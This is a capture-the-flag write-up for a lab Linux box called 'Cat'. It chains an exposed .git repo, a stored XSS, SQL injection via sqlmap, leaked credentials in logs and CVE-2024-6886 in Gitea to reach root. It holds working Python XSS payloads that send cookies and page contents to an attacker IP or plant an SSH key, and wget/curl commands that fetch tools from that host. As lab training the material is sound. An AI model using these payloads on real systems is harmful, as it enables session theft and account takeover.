cat Medium linux box, involves a lot of user interaction, some logs and some php code analysis. We start by finding a .git repository and using the missing sanitization to get admin with a xss. Then we abuse a sqli injection to get our first ssh credentials. Checking the apache logs we find our second ssh user. After that we exploit a known cve (CVE-2024-6886) to get to root.

nmap

Starting Nmap 7.93 ( https://nmap.org ) at 2025-02-02 09:52 -04
Nmap scan report for 10.10.11.53
Host is up (0.25s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 962df5c6f69f5960e56585ab49e47614 (RSA)
|   256 9ec4a440e9dacc62d1d65a2f9e7bd4aa (ECDSA)
|_  256 6e222a6a6debde19b71697c27e8929d5 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://cat.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.83 seconds

No subdomains found.

ffuf -u https://$(cat ip.txt)/ -H 'Host: FUZZ.cat.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 169

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : https://10.10.11.53/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.cat.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 50
 :: Matcher          : Response status: all
 :: Filter           : Response size: 169
________________________________________________

:: Progress: [5893/5893] :: Job [1/1] :: 100 req/sec :: Duration: [0:00:59] :: Errors: 5893 ::

endpoint bruteforce

feroxbuster -u http://cat.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -x php

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher πŸ€“                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            β”‚ http://cat.htb
 πŸš€  Threads               β”‚ 50
 πŸ“–  Wordlist              β”‚ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
 πŸ‘Œ  Status Codes          β”‚ All Status Codes!
 πŸ’₯  Timeout (secs)        β”‚ 7
 🦑  User-Agent            β”‚ feroxbuster/2.11.0
 πŸ”Ž  Extract Links         β”‚ true
 πŸ’²  Extensions            β”‚ [php]
 🏁  HTTP methods          β”‚ [GET]
 πŸ”ƒ  Recursion Depth       β”‚ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menuβ„’
──────────────────────────────────────────────────
404      GET        9l       31w      269c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      272c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       41l       83w     1242c http://cat.htb/vote.php
200      GET      196l      415w     5082c http://cat.htb/winners.php
200      GET      127l      270w     2900c http://cat.htb/css/styles.css
200      GET      140l      327w     4004c http://cat.htb/join.php
301      GET        9l       28w      300c http://cat.htb/css => http://cat.htb/css/
301      GET        9l       28w      304c http://cat.htb/uploads => http://cat.htb/uploads/
200      GET        1l        0w        1c http://cat.htb/config.php
200      GET      127l      270w     2900c http://cat.htb/css/styles
301      GET        9l       28w      300c http://cat.htb/img => http://cat.htb/img/
302      GET        0l        0w        0c http://cat.htb/logout.php => http://cat.htb/
302      GET        1l        0w        1c http://cat.htb/admin.php => http://cat.htb/join.php
302      GET        1l        0w        1c http://cat.htb/contest.php => http://cat.htb/join.php
200      GET      129l      285w     3075c http://cat.htb/
200      GET      129l      285w     3075c http://cat.htb/index.php
200      GET      127l      715w    53503c http://cat.htb/img/cat3.webp
200      GET      304l     1647w   132808c http://cat.htb/img/cat1.jpg
200      GET      904l     5604w   448419c http://cat.htb/img/cat2.png
301      GET        9l       28w      304c http://cat.htb/winners => http://cat.htb/winners/
200      GET      127l      715w    53503c http://cat.htb/img_winners/cat3.webp
200      GET      304l     1647w   132808c http://cat.htb/img_winners/cat1.jpg
200      GET      904l     5604w   448419c http://cat.htb/img_winners/cat2.png
200      GET      304l     1647w   132808c http://cat.htb/img/cat1
404      GET        0l        0w      269c http://cat.htb/css/decorated
[####################] - 6m    132941/132941  0s      found:23      errors:2274
[####################] - 5m     26584/26584   85/s    http://cat.htb/
[####################] - 5m     26584/26584   86/s    http://cat.htb/css/
[####################] - 5m     26584/26584   86/s    http://cat.htb/uploads/
[####################] - 5m     26584/26584   87/s    http://cat.htb/img/
[####################] - 5m     26584/26584   92/s    http://cat.htb/winners/

No obvious sqli on login or register.

/contest.php allows us to upload an image. The success message is interesting. Maybe some xss? cat1

No callbacks to the server.

There is a git repo on /.git. Lets use git-dumper to take a look.

git-dumper http://cat.htb/ out

The contest form is getting sanitized, so no xss here.

// contest.php
$cat_name = $_POST['cat_name'];
$age = $_POST['age'];
$birthdate = $_POST['birthdate'];
$weight = $_POST['weight'];

$forbidden_patterns = "/[+*{}',;<>()\\[\\]\\/\\:]/";

if (contains_forbidden_content($cat_name, $forbidden_patterns) ||
    contains_forbidden_content($age, $forbidden_patterns) ||
    contains_forbidden_content($birthdate, $forbidden_patterns) ||
    contains_forbidden_content($weight, $forbidden_patterns)) {
    $error_message = "Your entry contains invalid characters.";
}

It only sanitizes on save, when retrieving from db it just trusts it.

// view_cat.php
<strong>Owner:</strong> <?php echo $cat['username']; ?><br>

And username is not getting sanitized. So we put our payload there:

// join.php
$username = $_GET['username'];
$email = $_GET['email'];
$password = md5($_GET['password']);

$stmt_check = $pdo->prepare("SELECT * FROM users WHERE username = :username OR email = :email");
$stmt_check->execute([':username' => $username, ':email' => $email]);
$existing_user = $stmt_check->fetch(PDO::FETCH_ASSOC);

We abuse the xss with this script and get the admin cookie:

import requests
import random
import base64
from jsmin import jsmin

url = "http://cat.htb/"

payload = (
    """fetch('"""
    + "/"
    + """').then(e => {
        return e.text();
}).then(data => {
    fetch('http://10.10.14.5:5000/something?' + btoa(data) + '|' + window.location.href + '|' + btoa(document.cookie));
}).error(error => {
    fetch('http://10.10.14.5:5000/error?' + btoa(error.text) + '|' + window.location.href);
})"""
)

js = jsmin(payload)
payload = base64.b64encode(js.encode()).decode()
b = payload

username = f"<img src=x onerror=eval(atob('{b}'))>"
password = "asd"
email = f"asd@{random.choice(range(100000000))}asd.asd"
filename = "a.jpg"

with requests.Session() as ses:
    # register
    ses.get(
        url
        + f"join.php?username={username}&password={password}&email={email}&registerForm=aaaa",
        proxies={"http": "http://0.0.0.0:8081", "https": "https://0.0.0.0:8081"},
    )

    ses.get(
        url
        + f"join.php?loginUsername={username}&loginPassword={password}&loginForm=Login",
        proxies={"http": "http://0.0.0.0:8081", "https": "https://0.0.0.0:8081"},
    )

    url = "http://cat.htb/contest.php"
    data = {
        "cat_name": "asdasd",
        "age": "1",
        "birthdate": "2025-02-27",
        "weight": "0.01",
    }
    files = {
        "cat_photo": (
            filename,
            open("./1x1.png", "rb"),
            "image/png",
        )
    }

    res = ses.post(
        url,
        data=data,
        files=files,
        proxies={"http": "http://0.0.0.0:8081", "https": "https://0.0.0.0:8081"},
    )
  • PHPSESSID=vkqq3hfpuh9cpqhprfsbi70d3l

We now can access the admin panel where the cats get accepted.

cat3

Looking at the php code there seems to be a sqli in it.

// accept_cat.php:10
$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";

Let’s use sqlmap because I don’t want to write sql.

sqlmap -r request.txt --risk=3 --batch -p catName --level=5 --dbms=sqlite --sql-shell --threads 10
...
# [*] axel2017@gmail.com, d1bbba3670feb9435c9841e46e60ee2f, 1, axel
# [*] rosamendoza485@gmail.com, ac369922d560f17d6eeb8b2c7dec498c, 2, rosa
# [*] robertcervantes2000@gmail.com, 42846631708f69c00ec0c0a8aa4a92ad, 3, robert
# [*] fabiancarachure2323@gmail.com, 39e153e825c4a3d314a0dc7f7475ddbe, 4, fabian
# [*] jerrysonC343@gmail.com, 781593e060f8d065cd7281c5ec5b4b86, 5, jerryson
# [*] larryP5656@gmail.com, 1b6dce240bbfbc0905a664ad199e18f8, 6, larry
# [*] royer.royer2323@gmail.com, c598f6b844a36fa7836fba0835f1f6, 7, royer
# [*] peterCC456@gmail.com, e41ccefa439fc454f7eadbf1f139ed8a, 8, peter
# [*] angel234g@gmail.com, 24a8ec003ac2e1b3c5953a6f95f8f565, 9, angel
# [*] jobert2020@gmail.com, 88e4dceccd48820cf77b5cf6c08698ad, 10, jobert

Checking against crackstation gives us the password for rosa: cat4

  • rosa:soyunaprincesarosa

rosa

Users that have shells:

rosa@cat:/tmp/tmp.jugb594iwr$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
axel:x:1000:1000:axel:/home/axel:/bin/bash
rosa:x:1001:1001:,,,:/home/rosa:/bin/bash
git:x:114:119:Git Version Control,,,:/home/git:/bin/bash
jobert:x:1002:1002:,,,:/home/jobert:/bin/bash

We have the hash for both axel and jober. Lets try and crack their hashes just to make sure.

Approaching final keyspace - workload adjusted.

Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 0 (MD5)
Hash.Target......: ./hashes.txt
Time.Started.....: Thu Jun 26 12:37:48 2025 (4 secs)
Time.Estimated...: Thu Jun 26 12:37:52 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/home/shafou/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  3771.9 kH/s (0.39ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 0/2 (0.00%) Digests (total), 0/2 (0.00%) Digests (new)
Progress.........: 14344384/14344384 (100.00%)
Rejected.........: 0/14344384 (0.00%)
Restore.Point....: 14344384/14344384 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: $HEX[206b6d3831303838] -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#1..: Temp: 68c Util: 97%

Started: Thu Jun 26 12:37:46 2025
Stopped: Thu Jun 26 12:37:53 2025

Nothing.

A lot of internal ports on the host.

rosa@cat:/tmp/tmp.jugb594iwr$ netstat -tulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:42269         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:43879         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:587           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:47311         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -

Let’s use ligolo to access them. On client:

cd $(mktemp -d)
wget 10.10.14.5:5000/static/ligolo-agent
chmod +x ligolo-agent
(./ligolo-agent -connect 10.10.14.5:11601 -accept-fingerprint 293D9C63434BF4BF5523F3C746B7844D2742E2134F22F698D9E55B661AF4F6BD &)

On host:

sudo ./ligolo-proxy -selfcert

There is a gitea instance on port 3000 and smtp on port 25. cat5

version:

cat6

Seems to be vulnerable to CVE-2024-6886. It is a stored xss but only authenticated.

The mail server is:

# VERSIONID(`$Id: sendmail.mc, v 8.15.2-18 2020-03-08 00:39:49 cowboy Exp $')

Maybe it is vulnerable to smtp smuggling? https://github.com/The-Login/SMTP-Smuggling-Tools

We can find creds for axel on /var/log/apache2/access.log and it works for ssh.

127.0.0.1 - - [26/Jun/2025:18:49:41 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
sshpass -p 'aNdZwgC4tI9gnVXv_e3Q' ssh axel@$(cat ip.txt)
axel@cat:~$ cat user.txt
c55fcd646a94a9bfe9b74e5b60d2f1b8

It also works for gitea. cat7

The cve allows us to make a <a> tag with javascript: scheme. So maybe admin has some interesting repos.

The xss looks like this, the little click here button on top left. cat8

The reset script is very agressive. so I automated the auth flow and I am adding a ssh key to clone the repo that the administrator has. I found the repo name during the very painful xss construction.

So you run the script, send an email to jobert and clone the repo.

import base64
import requests
from jsmin import jsmin

with requests.Session() as ses:

    def _csrf():
        res = ses.get(
            url,
        )
        return res.text.split("csrfToken: '")[1].split("'")[0]

    def login():
        path = "/user/login"
        cookies = {
            "lang": "en-US",
            "i_like_gitea": "560c1df92178052f",
            "_csrf": csrf,
            "redirect_to": "%2F",
        }
        headers = {
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Content-Type": "application/x-www-form-urlencoded",
        }
        data = {
            "_csrf": csrf,
            "user_name": "axel",
            "password": "aNdZwgC4tI9gnVXv_e3Q",
        }
        ses.post(
            url + path,
            headers=headers,
            cookies=cookies,
            data=data,
        )

    def create_repo():
        payload = (
            """fetch('"""
            + "/"
            + """').then(e => {
                return e.text();
        }).then(data => {
            let csrf = data.split("csrfToken: '")[1].split("'")[0];
            fetch('/user/settings/keys',{
                method: "POST",
                body: "_csrf=" + csrf + "&title=lala&content=ssh-ed25519+AAAAC3NzaC1lZDI1NTE5AAAAIKXWJhDigZw%2B%2Fcj7TOb3Z6bhauvknl8rvHrs%2FgHSEy8i+shafouz%40htb.com&type=ssh",
                headers: { "Content-Type": "application/x-www-form-urlencoded" }
            })
        }).catch(error => {
            fetch('http://10.10.14.5:5000/error?' + encodeURIComponent(error.toString()));
        });
        fetch('http://10.10.14.5:5000/error');
        """
        )

        js = jsmin(payload)
        payload = base64.b64encode(js.encode()).decode()
        payload = f"<a href=\"javascript:eval(atob('{payload}'))\">click me</a>"

        path = "/repo/create"
        cookies = {
            "_csrf": "eP9Ey4eVFpoAsYUNYrbfzcBez5Y6MTc1MDk3NjA1MTIzMDk3MDAwMQ",
        }
        headers = {
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Content-Type": "application/x-www-form-urlencoded",
        }
        data = {
            "_csrf": "eP9Ey4eVFpoAsYUNYrbfzcBez5Y6MTc1MDk3NjA1MTIzMDk3MDAwMQ",
            "uid": "2",
            "repo_name": "xss",
            "description": payload,
            "repo_template": "",
            "issue_labels": "",
            "gitignores": "",
            "license": "",
            "readme": "Default",
            "auto_init": "on",
            "default_branch": "main",
            "object_format_name": "sha1",
        }
        ses.post(
            url + path,
            headers=headers,
            cookies=cookies,
            data=data,
        )

    url = "http://240.0.0.1:3000/"
    csrf = _csrf()
    login()
    create_repo()

on box:

curl 10.10.14.5:5000/static/swaks -O
chmod +x ./swaks
./swaks --to "jobert@localhost" --from "axel@localhost" --header "Subject: Click me" --body "http://localhost:3000/axel/xss" --server localhost --port 25

on host:

GIT_SSH_COMMAND='ssh -i ~/.ssh/id_rsa_htb' git clone git@cat.htb:administrator/Employee-management.git

Then we find some credentials on index.php.

<?php
// index.php:2 ~ 4
$valid_username = 'admin';
$valid_password = 'IKw75eR0MR7CMIxhH0';

They don’t work on ssh. Tried on jobert and root. But they did work for root with su - root.

root@cat:~# cat root.txt
572da76349e5bf263f65e9511aa97250